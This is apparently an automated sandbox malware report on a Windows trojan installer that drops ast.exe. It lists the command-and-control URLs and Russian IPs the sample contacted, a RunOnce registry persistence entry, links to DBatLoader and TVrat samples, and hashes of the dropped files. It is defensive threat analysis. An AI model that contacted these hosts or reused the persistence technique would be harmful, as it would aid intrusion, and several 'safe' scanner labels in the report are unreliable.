https://sectigo.com/CPS0C	wjpP1EOX0L.tmp, 00000003.00000003.2082364759.000000000701D000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2098265032.00000000033F8000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2096546624.00000000033F9000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2385110004.00000000033F8000.00000004.00000020.00020000.00000000.sdmp, opus.dll.9.dr	false		high
https://sectigo.com/CPS0D	xcopy.exe, 00000009.00000003.2083727096.00000000035DA000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2098265032.00000000033F8000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2087883460.00000000033F7000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2097505417.00000000033F8000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2089288252.000000000360A000.00000004.00000020.00020000.00000000.sdmp, opus.dll.9.dr, astrct.dll.9.dr, is-951GK.tmp.3.dr, is-UA1D6.tmp.3.dr	false		high
https://id.xn--80akicokc0aablc.xn--p1ai:443sw.~	ast.exe, 0000000A.00000003.2670067675.000000000609D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crypto-st.art/update.php?id=142104603&stat=6f83f48b198bee1c21dc55ad2e0d1b66m	ast.exe, 0000000A.00000003.2797214316.0000000006064000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000002.2992252088.0000000006020000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crypto-st.art/update.php?id=142104603&stat=6f83f48b198bee1c21dc55ad2e0d1b66-80akicokc0aablc.x	ast.exe, 0000000A.00000003.2947103567.000000000609D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://id.xn--80akicokc0aablc.xn--p1ai:443	ast.exe, 0000000A.00000003.2706718804.00000000060A2000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2696026958.00000000060F8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://id.xn--80akicokc0aablc.xn--p1ai03	ast.exe, 0000000A.00000002.2981320741.0000000002F84000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://id.xn--80akicokc0aablc.xn--p1ai:443...	ast.exe, 0000000A.00000002.2982914474.000000000319B000.00000004.00001000.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2472544479.00000000060BA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crypto-st.art/update.php?id=142104603&stat=6f83f48b198bee1c21dc55ad2e0d1b66c	ast.exe, 0000000A.00000003.2746980219.0000000006064000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2797214316.0000000006064000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000002.2992252088.0000000006020000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crt.sectigo.com/COMODOTimeStampingCA_2.crt0#	wjpP1EOX0L.tmp, 00000003.00000003.2082364759.000000000701D000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2096546624.00000000033F9000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2385110004.00000000033F8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crypto-st.art/update.php?id=142104603&stat=6f83f48b198bee1c21dc55ad2e0d1b66e	ast.exe, 0000000A.00000003.2797214316.0000000006064000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000002.2992252088.0000000006020000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.sqlite.org/copyright.html.	wjpP1EOX0L.tmp, 00000003.00000003.2082364759.000000000701D000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2385054264.00000000033F8000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000B.00000002.2515695685.0000000061EA0000.00000008.00000001.01000000.0000000D.sdmp	false		high
https://id.xn--80akicokc0aablc.xn--p1ai00	ast.exe, 0000000A.00000002.2992252088.0000000006020000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crypto-st.art/update.php?id=142104603&stat=6f83f48b198bee1c21dc55ad2e0d1b66h	ast.exe, 0000000A.00000002.2979445587.0000000000CC9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crypto-st.art/update.php?id=142104603&stat=6f83f48b198bee1c21dc55ad2e0d1b66Y	ast.exe, 0000000A.00000002.2992252088.0000000006020000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://id.xn--80akicokc0aablc.xn--p1aillll	ast.exe, 0000000A.00000002.2979445587.0000000000C6E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://sectigo.com/CPS0	xcopy.exe, 00000009.00000003.2083727096.00000000035DA000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2087883460.00000000033F7000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2097505417.00000000033F8000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2089288252.000000000360A000.00000004.00000020.00020000.00000000.sdmp, astrct.dll.9.dr, is-951GK.tmp.3.dr, is-UA1D6.tmp.3.dr	false		high
https://www.openssl.org/docs/faq.html	is-VCJTB.tmp.3.dr	false		high
http://crypto-st.art/update.php?id=142104603&stat=6f83f48b198bee1c21dc55ad2e0d1b66Q	ast.exe, 0000000A.00000003.2746980219.0000000006064000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://id.xn--80akicokc0aablc.xn--p1ai:443...43AW	ast.exe, 0000000A.00000002.2981320741.0000000002F43000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://id.xn--80akicokc0aablc.xn--p1ait.l;	ast.exe, 0000000A.00000003.2436010829.0000000006071000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2435889428.0000000006065000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://id.xn--80akicokc0aablc.xn--p1aiDUdu	ast.exe, 0000000A.00000002.2995912080.00000000075CD000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://id.xn--80akicokc0aablc.xn--p1ai:443Wl	ast.exe, 0000000A.00000003.2787353293.000000000609D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://id.xn--80akicokc0aablc.xn--p1aidll03	ast.exe, 0000000A.00000002.2981320741.0000000002F84000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://id.xn--80akicokc0aablc.xn--p1ai:4430wo~	ast.exe, 0000000A.00000003.2771015394.000000000609A000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2706718804.00000000060A2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://id.xn--80akicokc0aablc.xn--p1ai:443&w	ast.exe, 0000000A.00000003.2771015394.000000000609A000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2935483270.00000000060A4000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2787353293.000000000609D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://id.xn-	ast.exe, 0000000A.00000003.2877051123.00000000060A0000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2888384413.000000000609F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
212.193.169.65	id.xn--80akicokc0aablc.xn--p1ai	Russian Federation		60329	SAFIB-ASRU	false
195.19.105.66	trs011.xn--80akicokc0aablc.xn--p1ai	Russian Federation		12389	ROSTELECOM-ASRU	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1558734
Start date and time:	2024-11-19 18:54:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 46s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	wjpP1EOX0L.exe renamed because original name is a hash value
Original Sample Name:	7ea97972b7a7e37bdc6993c7f00830040acf4ce957243abb85d6c1232baf30c0.exe
Detection:	MAL
Classification:	mal68.troj.evad.winEXE@15/60@11/3
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 64% Number of executed functions: 45 Number of non-executed functions: 113
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadFile calls found.
Report size getting too big, too many NtSetInformationFile calls found.
VT rate limit hit for: wjpP1EOX0L.exe

Simulations

Behavior and APIs

Time	Type	Description
12:56:10	API Interceptor	4085x Sleep call for process: ast.exe modified
17:56:11	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce asg C:\Users\user\AppData\Roaming\im\ast.exe
17:56:19	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\RunOnce asg C:\Users\user\AppData\Roaming\im\ast.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
212.193.169.65	1.exe	Get hash	malicious	DBatLoader, TVrat	Browse	id.xn--80akicokc0aablc.xn--p1ai:443http://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec
212.193.169.65	scan_9374673_Medoc.pdf.exe	Get hash	malicious	DBatLoader, TVrat	Browse	id.xn--80akicokc0aablc.xn--p1ai:80http://id.xn--80akicokc0aablc.xn--p1ai:80/api/exec

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
id.xn--80akicokc0aablc.xn--p1ai	1.exe	Get hash	malicious	DBatLoader, TVrat	Browse	212.193.169.65
	1.exe	Get hash	malicious	DBatLoader, TVrat	Browse	212.193.169.65
	scan_9374673_Medoc.pdf.exe	Get hash	malicious	DBatLoader, TVrat	Browse	185.40.77.244
	scan_9374673_Medoc.pdf.exe	Get hash	malicious	DBatLoader, TVrat	Browse	185.40.77.244
	XdYKQ6DMdP.exe	Get hash	malicious	DBatLoader, TVrat	Browse	185.40.77.244
	ZQakIVuCoO.exe	Get hash	malicious	TVrat	Browse	212.193.169.65
	https://v2-hbconnect.website/order_create_596807_15-07-2022_14-32-02.zip	Get hash	malicious	TVrat	Browse	212.193.169.65
	5RtqJVIFa3.exe	Get hash	malicious	TVrat	Browse	45.84.85.231
	hJ9ZjmbY5r.exe	Get hash	malicious	DCRat RedLine TVrat	Browse	212.193.169.74
	41d9459adfc2174e254616e62e78811abee49d1114f04.exe	Get hash	malicious	TVrat	Browse	212.193.169.74

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ROSTELECOM-ASRU	owari.arm7.elf	Get hash	malicious	Mirai	Browse	178.66.27.29
	owari.spc.elf	Get hash	malicious	Unknown	Browse	178.184.109.156
	owari.mpsl.elf	Get hash	malicious	Unknown	Browse	212.20.44.177
	owari.x86.elf	Get hash	malicious	Unknown	Browse	95.71.223.27
	mips.elf	Get hash	malicious	Mirai	Browse	178.67.151.64
	botx.x86.elf	Get hash	malicious	Mirai	Browse	92.49.153.194
	botx.sh4.elf	Get hash	malicious	Mirai	Browse	94.50.188.105
	botx.mips.elf	Get hash	malicious	Mirai	Browse	95.106.79.112
	xd.arm7.elf	Get hash	malicious	Mirai	Browse	95.32.32.59
	botnet.sh4.elf	Get hash	malicious	Mirai, Moobot	Browse	178.185.126.27
SAFIB-ASRU	1.exe	Get hash	malicious	DBatLoader, TVrat	Browse	212.193.169.65
	1.exe	Get hash	malicious	DBatLoader, TVrat	Browse	212.193.169.68
	scan_9374673_Medoc.pdf.exe	Get hash	malicious	DBatLoader, TVrat	Browse	212.193.169.68
	scan_9374673_Medoc.pdf.exe	Get hash	malicious	DBatLoader, TVrat	Browse	212.193.169.68
	XdYKQ6DMdP.exe	Get hash	malicious	DBatLoader, TVrat	Browse	212.193.169.68
	ZQakIVuCoO.exe	Get hash	malicious	TVrat	Browse	212.193.169.65
	41d9459adfc2174e254616e62e78811abee49d1114f04.exe	Get hash	malicious	TVrat	Browse	212.193.169.74
	TbDXlssS18.exe	Get hash	malicious	DCRat RedLine TVrat	Browse	212.193.169.74
	H9x6j98ecX.exe	Get hash	malicious	TVrat	Browse	212.193.169.74
	3aJqOjkYXO.exe	Get hash	malicious	DCRat RedLine TVrat	Browse	212.193.169.74

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
74954a0c86284d0d6e1c4efefe92b521	avast_free_antivirus_setup_online.exe	Get hash	malicious	Unknown	Browse	212.193.169.65
	avast_free_antivirus_setup_online.exe	Get hash	malicious	Unknown	Browse	212.193.169.65
	file.exe	Get hash	malicious	Unknown	Browse	212.193.169.65
	file.exe	Get hash	malicious	CStealer	Browse	212.193.169.65
	https://storage.googleapis.com/windows_bucket1/turbo/download/TurboVPN_setup.exe	Get hash	malicious	Unknown	Browse	212.193.169.65
	SecuriteInfo.com.Trojan.Siggen29.64132.8972.20040.exe	Get hash	malicious	Unknown	Browse	212.193.169.65
	#U2749VER CUENTA#U2749_#U2464#U2466#U2460#U2462#U2463#U2460#U2466#U2462.hta	Get hash	malicious	Unknown	Browse	212.193.169.65
	6725c86d7fc7b.vbs	Get hash	malicious	Unknown	Browse	212.193.169.65
	26HY8aPgae.exe	Get hash	malicious	Unknown	Browse	212.193.169.65
	26HY8aPgae.exe	Get hash	malicious	Unknown	Browse	212.193.169.65

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\is-1C94S.tmp\_isetup\_iscrypt.dll	1.exe	Get hash	malicious	DBatLoader, TVrat	Browse
	1.exe	Get hash	malicious	DBatLoader, TVrat	Browse
	i7j22nof2Q.exe	Get hash	malicious	Socks5Systemz	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Socks5Systemz	Browse
	file.exe	Get hash	malicious	Socks5Systemz	Browse
	file.exe	Get hash	malicious	Socks5Systemz	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar, Zhark RAT	Browse
	aesM8nmCM2.exe	Get hash	malicious	Unknown	Browse
	gxjIKuKnu7.exe	Get hash	malicious	Socks5Systemz	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Temp\is-1C94S.tmp\_isetup\_iscrypt.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-JOUMC.tmp\wjpP1EOX0L.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2560
Entropy (8bit):	2.8818118453929262
Encrypted:	false
SSDEEP:	24:e1GSgDIX566lIB6SXvVmMPUjvhBrDsqZ:SgDKRlVImgUNBsG
MD5:	A69559718AB506675E907FE49DEB71E9
SHA1:	BC8F404FFDB1960B50C12FF9413C893B56F2E36F
SHA-256:	2F6294F9AA09F59A574B5DCD33BE54E16B39377984F3D5658CDA44950FA0F8FC
SHA-512:	E52E0AA7FE3F79E36330C455D944653D449BA05B2F9ABEE0914A0910C3452CFA679A40441F9AC696B3CCF9445CBB85095747E86153402FC362BB30AC08249A63
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: 1.exe, Detection: malicious, Browse Filename: 1.exe, Detection: malicious, Browse Filename: i7j22nof2Q.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: aesM8nmCM2.exe, Detection: malicious, Browse Filename: gxjIKuKnu7.exe, Detection: malicious, Browse
Reputation:	high, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........W.c.W.c.W.c...>.T.c.W.b.V.c.R.<.V.c.R.?.V.c.R.9.V.c.RichW.c.........................PE..L....b.@...........!......................... ...............................@......................................p ..}.... ..(............................0....................................................... ...............................text............................... ..`.rdata....... ......................@..@.reloc.......0......................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-1C94S.tmp\_isetup\_setup64.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-JOUMC.tmp\wjpP1EOX0L.tmp
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6144
Entropy (8bit):	4.720366600008286
Encrypted:	false
SSDEEP:	96:sfkcXegaJ/ZAYNzcld1xaX12p+gt1sONA0:sfJEVYlvxaX12C6A0
MD5:	E4211D6D009757C078A9FAC7FF4F03D4
SHA1:	019CD56BA687D39D12D4B13991C9A42EA6BA03DA
SHA-256:	388A796580234EFC95F3B1C70AD4CB44BFDDC7BA0F9203BF4902B9929B136F95
SHA-512:	17257F15D843E88BB78ADCFB48184B8CE22109CC2C99E709432728A392AFAE7B808ED32289BA397207172DE990A354F15C2459B6797317DA8EA18B040C85787E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	high, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^...............l...............=\......=\......=\......Rich............................PE..d.....R..........#............................@.............................`.......,......................................................<!.......P..H....@..0.................................................................... ...............................text............................... ..`.rdata..\|.... ......................@..@.data...,....0......................@....pdata..0....@......................@..@.rsrc...H....P......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp

Download File

Process:	C:\Users\user\Desktop\wjpP1EOX0L.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1179648
Entropy (8bit):	6.395287124443116
Encrypted:	false
SSDEEP:	24576:RtdAm9DUi/CR3wCkCiRgoG7hBaHkbEXXeG/jFt5lTxyt:PqTytRFk6ek1L
MD5:	90FC739C83CD19766ACB562C66A7D0E2
SHA1:	451F385A53D5FED15E7649E7891E05F231EF549A
SHA-256:	821BD11693BF4B4B2B9F3C196036E1F4902ABD95FB26873EA6C43E123B8C9431
SHA-512:	4CB11AD48B7585EF1B70FAC9E3C25610B2F64A16358CD51E32ADCB0B17A6AB1C934AEB10ADAA8E9DDF69B2E2F1D18FE2E87B49B39F89B05EA13AA3205E41296C
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L......W............................l........ ....@.......................................@......@..............................@8...0....................................................... .......................................................text............................... ..`.itext.............................. ..`.data...h0... ...2..................@....bss.....a...`.......0...................idata..@8.......:...0..............@....tls....<............j...................rdata....... .......j..............@..@.rsrc........0.......l..............@..@....................................@..@........................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-H2GRU.tmp\_isetup\_iscrypt.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2560
Entropy (8bit):	2.8818118453929262
Encrypted:	false
SSDEEP:	24:e1GSgDIX566lIB6SXvVmMPUjvhBrDsqZ:SgDKRlVImgUNBsG
MD5:	A69559718AB506675E907FE49DEB71E9
SHA1:	BC8F404FFDB1960B50C12FF9413C893B56F2E36F
SHA-256:	2F6294F9AA09F59A574B5DCD33BE54E16B39377984F3D5658CDA44950FA0F8FC
SHA-512:	E52E0AA7FE3F79E36330C455D944653D449BA05B2F9ABEE0914A0910C3452CFA679A40441F9AC696B3CCF9445CBB85095747E86153402FC362BB30AC08249A63
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........W.c.W.c.W.c...>.T.c.W.b.V.c.R.<.V.c.R.?.V.c.R.9.V.c.RichW.c.........................PE..L....b.@...........!......................... ...............................@......................................p ..}.... ..(............................0....................................................... ...............................text............................... ..`.rdata....... ......................@..@.reloc.......0......................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-H2GRU.tmp\_isetup\_setup64.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6144
Entropy (8bit):	4.720366600008286
Encrypted:	false
SSDEEP:	96:sfkcXegaJ/ZAYNzcld1xaX12p+gt1sONA0:sfJEVYlvxaX12C6A0
MD5:	E4211D6D009757C078A9FAC7FF4F03D4
SHA1:	019CD56BA687D39D12D4B13991C9A42EA6BA03DA
SHA-256:	388A796580234EFC95F3B1C70AD4CB44BFDDC7BA0F9203BF4902B9929B136F95
SHA-512:	17257F15D843E88BB78ADCFB48184B8CE22109CC2C99E709432728A392AFAE7B808ED32289BA397207172DE990A354F15C2459B6797317DA8EA18B040C85787E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^...............l...............=\......=\......=\......Rich............................PE..d.....R..........#............................@.............................`.......,......................................................<!.......P..H....@..0.................................................................... ...............................text............................... ..`.rdata..\|.... ......................@..@.data...,....0......................@....pdata..0....@......................@..@.rsrc...H....P......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-JOUMC.tmp\wjpP1EOX0L.tmp

Download File

Process:	C:\Users\user\Desktop\wjpP1EOX0L.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1179648
Entropy (8bit):	6.395287124443116
Encrypted:	false
SSDEEP:	24576:RtdAm9DUi/CR3wCkCiRgoG7hBaHkbEXXeG/jFt5lTxyt:PqTytRFk6ek1L
MD5:	90FC739C83CD19766ACB562C66A7D0E2
SHA1:	451F385A53D5FED15E7649E7891E05F231EF549A
SHA-256:	821BD11693BF4B4B2B9F3C196036E1F4902ABD95FB26873EA6C43E123B8C9431
SHA-512:	4CB11AD48B7585EF1B70FAC9E3C25610B2F64A16358CD51E32ADCB0B17A6AB1C934AEB10ADAA8E9DDF69B2E2F1D18FE2E87B49B39F89B05EA13AA3205E41296C
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L......W............................l........ ....@.......................................@......@..............................@8...0....................................................... .......................................................text............................... ..`.itext.............................. ..`.data...h0... ...2..................@....bss.....a...`.......0...................idata..@8.......:...0..............@....tls....<............j...................rdata....... .......j..............@..@.rsrc........0.......l..............@..@....................................@..@........................................................................................................................................

C:\Users\user\AppData\Local\Temp\mo6x\3bzcw9.cfg (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	4.923181998146335
Encrypted:	false
SSDEEP:	3:Xfq1A81DnsGun:C1A7Gun
MD5:	005E5B1F92F1560540725F159D1542B1
SHA1:	5E1B84A12D4BD5170803158700B325795E97A3A1
SHA-256:	4A848BDC62E826571E5D01B16D09935C902B2080CBF913A185B9A33C925CA7D4
SHA-512:	645B3666626C01B69F6B7E48EC9A61745944485D556769CA87912D2C0FFC68A923434BF84D9EAF4F8CD111F9A58700D865F363A2324B95E408F9019DE0AC7D4A
Malicious:	false
Preview:	.^.rz;.#G...l....=.M#.k..f.M...e

C:\Users\user\AppData\Local\Temp\mo6x\AstCrp.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	172216
Entropy (8bit):	6.698242571688099
Encrypted:	false
SSDEEP:	3072:nGhQI/PxvCWRDvcDfo0F5HekeyO54ECV0/sMHL0WPCCb5rAg0Fujx8E0/3xt9qKv:kPxqWYF5HkyDLMsOzrAOL23VqK28j
MD5:	CF1169A87FE6266C7B457A2424DA69DA
SHA1:	5ADD67DEFD4CA56C1E9C0B239899EA699B140B64
SHA-256:	24E01FD95225E260CDD41015A70374A048568D4DF6681B3D44EAABCB1EA03EAF
SHA-512:	7BF76EB5B4E31A65931AF730909FBF848334BC98DA279E291E186FCAFDC81C76D1EF0EFEC4E00B8EAEDE6F8D130DA8B6B3D3C5DD8C14C6DCD3BCDC7D050A4B66
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......m.%.).K.).K.).K.r.H.$.K.r.N...K.r.O.?.K...J.-.K.{.H.=.K.{.N...K.{.O...K.r.J...K.).J...K...B.!.K...K.(.K.....(.K.)..(.K...I.(.K.Rich).K.................PE..L.....@a...........!.....t...........V..............................................B.....@.........................`X..h....X..P.......(............\|...$...........H..8............................H..@...............8............................text....s.......t.................. ..`.rdata...............x..............@..@.data........p.......P..............@....rsrc...(............\..............@..@.reloc...............b..............@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\mo6x\ast.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	7543992
Entropy (8bit):	6.717610928993395
Encrypted:	false
SSDEEP:	98304:q0f/bCIDcCkgVmZqIXrdoXj++CEKDFBaVOGizeKFUtqiAp+hRWmMLlJ7p1:X/bCIPkgVpycKDFqOLNUtqiAz
MD5:	8002D9E5851728EB024B398CF19DE390
SHA1:	9A1DC7134F3F6FCCB37DFC4DDDA35DFA2875095E
SHA-256:	B8DDE42C70D8C4A3511D5EDFFBC9F7F0C03DBDA980E29693E71344F76DA6BB0F
SHA-512:	6936B6B01F9FC2F2F69DE6AE468A9F7173239BD003AD8B7BC7336C4DD4DB50457E20EC6783B2E8A166D684A56F3F1E9FB701CA903DF3F74E3CA25C46B8A8D00E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 12%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L.....@a..................K..`'.......K.......K...@...........................y.......s..........@............................S..m....X..f ...........r..$... T.8d............T...............T.....................@.S..............................text... .J.......J................. ..`.itext..$.....J.......J............. ..`.data...T"....K..$....K.............@....bss..........M.......M..................idata...m....S..n....M.............@....tls....D.....T......N..................rdata..#.....T......N.............@..@.reloc..8d... T..f...,N.............@..B.rsrc....f ...X..f ...R.............@..@..............y.......r.............@..@................................................................................................

C:\Users\user\AppData\Local\Temp\mo6x\astclient.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	581304
Entropy (8bit):	6.580382227041057
Encrypted:	false
SSDEEP:	12288:bj4Q3+oAscridrDg76u3HsBTc9GtIGPi2Emvh5/kJSMl0yomcY/nRwl2Sp:bHYXSTMGtNPitm1yomJ/n+tp
MD5:	CDC5A8221738C1CA66564755BB58138C
SHA1:	EF096A2CAF133D217C202C147855F2CEE7ECD105
SHA-256:	DF5CEF85E92C6FFFAAC0ACDCE645AED3C5FA1F8FE7F9700D84CA08468AD3D5E3
SHA-512:	A9F3E256518771C1C97374E7AE3EE19EBEC0D794CD740E059DBC8289356CF1FB5D4A19F2677DB2ADBB179A73520AAEC67947DCF4C8BCD930206DE4B6CDCAD4C6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
